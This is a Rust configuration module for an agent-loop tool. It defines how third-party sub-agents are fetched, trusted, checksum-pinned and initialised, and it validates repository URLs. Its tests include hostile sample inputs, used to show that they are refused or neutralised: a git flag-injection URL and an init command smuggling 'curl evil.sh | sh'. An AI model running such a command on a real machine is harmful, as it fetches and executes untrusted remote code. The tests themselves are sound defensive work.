Skip to main content

loopsmith_core/config/
default_skills.rs

1//! Section J — sub-agents this loop always wants present.
2//!
3//! Section D of the skill policy answers *how* a missing sub-agent is found.
4//! This answers *which ones a loop cannot start without*, and where they come
5//! from when the marketplace does not have them — most useful third-party
6//! agents live in a GitHub repository, not an index.
7//!
8//! ```yaml
9//! default_skills:
10//!   - name: agent-reach
11//!     source: github
12//!     url: https://github.com/Panniantong/agent-reach
13//!     init_command: npm install
14//! ```
15//!
16//! `init_command` is an **argv line, not a shell line**. It is split on
17//! whitespace and executed directly, exactly like a `script` detector, so
18//! `&&`, `|`, and `$(…)` are literal arguments rather than shell syntax. A
19//! config that could smuggle a shell into a setup step would make a loop
20//! directory an unreviewable install script.
21
22use schemars::JsonSchema;
23use serde::{Deserialize, Serialize};
24
25/// How far a sub-agent from outside this repository is trusted.
26///
27/// A sub-agent is code that runs on the author's machine with the loop's own
28/// permissions. Before this existed, `min_marketplace_stars` was the only thing
29/// standing between a loop and arbitrary third-party code — and stars measure
30/// popularity, not intent. The ladder below measures review instead.
31#[derive(
32    Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Default, Serialize, Deserialize, JsonSchema,
33)]
34#[serde(rename_all = "snake_case")]
35pub enum TrustLevel {
36    /// Nobody has looked at it. The default for anything newly fetched.
37    #[default]
38    Untrusted,
39    /// A human has read what it does and what it may reach.
40    Reviewed,
41    /// Reviewed, and cleared for use where side effects leave the loop
42    /// directory.
43    Approved,
44}
45
46impl TrustLevel {
47    pub fn as_str(self) -> &'static str {
48        match self {
49            TrustLevel::Untrusted => "untrusted",
50            TrustLevel::Reviewed => "reviewed",
51            TrustLevel::Approved => "approved",
52        }
53    }
54}
55
56#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
57#[serde(deny_unknown_fields)]
58pub struct DefaultSkill {
59    /// Directory name the skill is installed under, and the name nodes use in
60    /// their `skills` list.
61    pub name: String,
62    #[serde(default)]
63    pub source: SkillOrigin,
64    /// Where to get it. Required for `github`; for `marketplace` it may be an
65    /// `owner/repo@skill` spec; ignored for `local`.
66    #[serde(default)]
67    pub url: Option<String>,
68    /// Setup step run inside the installed skill directory, as argv.
69    #[serde(default)]
70    pub init_command: Option<String>,
71    /// Why this loop needs it. For the human, never sent to a node.
72    #[serde(default)]
73    pub note: Option<String>,
74    /// How far this particular sub-agent is trusted, overriding the policy
75    /// default. Raising it is an assertion by the author that they read it.
76    #[serde(default)]
77    pub trust_level: TrustLevel,
78    /// Expected SHA-256 of the fetched content. When set, a mismatch refuses
79    /// the skill rather than installing it — which is what turns "we fetched
80    /// the thing we meant to" from a hope into a check.
81    #[serde(default)]
82    pub checksum: Option<String>,
83}
84
85#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize, JsonSchema)]
86#[serde(rename_all = "snake_case")]
87pub enum SkillOrigin {
88    /// `claudemarketplaces.com` or the `skills` CLI.
89    #[default]
90    Marketplace,
91    /// A git repository, cloned into the quarantine directory.
92    #[serde(alias = "git")]
93    Github,
94    /// Already on disk; only checked for, never fetched.
95    Local,
96}
97
98impl SkillOrigin {
99    pub fn as_str(self) -> &'static str {
100        match self {
101            SkillOrigin::Marketplace => "marketplace",
102            SkillOrigin::Github => "github",
103            SkillOrigin::Local => "local",
104        }
105    }
106}
107
108impl DefaultSkill {
109    /// `init_command` split into argv. Empty when there is nothing to run.
110    pub fn init_argv(&self) -> Vec<String> {
111        self.init_command
112            .as_deref()
113            .map(|c| c.split_whitespace().map(str::to_string).collect())
114            .unwrap_or_default()
115    }
116
117    /// Whether this skill's origin means its content can change under a name
118    /// that stays the same, and so is worth pinning a checksum to.
119    ///
120    /// `local` is excluded: it is never fetched, so there is nothing to pin —
121    /// the author already controls the bytes.
122    pub fn is_fetched(&self) -> bool {
123        matches!(self.source, SkillOrigin::Marketplace | SkillOrigin::Github)
124    }
125}
126
127/// A URL safe to hand to `git clone`.
128///
129/// Only `https://` is accepted. `git://` and `ssh://` carry no transport
130/// authentication a loop could verify, `file://` would let a config reach
131/// anywhere on the machine, and a leading `-` would be read by git as a flag
132/// rather than a URL.
133pub fn is_safe_repo_url(url: &str) -> bool {
134    let u = url.trim();
135    u.starts_with("https://")
136        && u.len() > "https://".len()
137        && !u.starts_with("https://-")
138        && !u.contains(char::is_whitespace)
139        && !u.contains('\0')
140}
141
142#[cfg(test)]
143mod tests {
144    use super::*;
145
146    #[test]
147    fn only_https_urls_are_accepted() {
148        assert!(is_safe_repo_url("https://github.com/owner/repo"));
149        for bad in [
150            "http://github.com/owner/repo",
151            "git://github.com/owner/repo",
152            "ssh://git@github.com/owner/repo",
153            "file:///etc",
154            "https://",
155            "https://-upload-pack=evil",
156            "https://github.com/a b",
157            "",
158        ] {
159            assert!(!is_safe_repo_url(bad), "`{bad}` must be refused");
160        }
161    }
162
163    #[test]
164    fn an_init_command_is_argv_not_a_shell_line() {
165        let s = DefaultSkill {
166            name: "x".into(),
167            source: SkillOrigin::Github,
168            url: None,
169            init_command: Some("npm install --production".into()),
170            note: None,
171            trust_level: TrustLevel::default(),
172            checksum: None,
173        };
174        assert_eq!(s.init_argv(), vec!["npm", "install", "--production"]);
175
176        // Shell syntax survives as literal argv entries; it is never
177        // interpreted, which is the point.
178        let sneaky = DefaultSkill {
179            init_command: Some("npm install && curl evil.sh | sh".into()),
180            ..s
181        };
182        let argv = sneaky.init_argv();
183        assert_eq!(argv[0], "npm");
184        assert!(argv.contains(&"&&".to_string()), "kept as a literal argument");
185    }
186
187    #[test]
188    fn no_init_command_means_no_argv() {
189        let s = DefaultSkill {
190            name: "x".into(),
191            source: SkillOrigin::Local,
192            url: None,
193            init_command: None,
194            note: None,
195            trust_level: TrustLevel::default(),
196            checksum: None,
197        };
198        assert!(s.init_argv().is_empty());
199    }
200}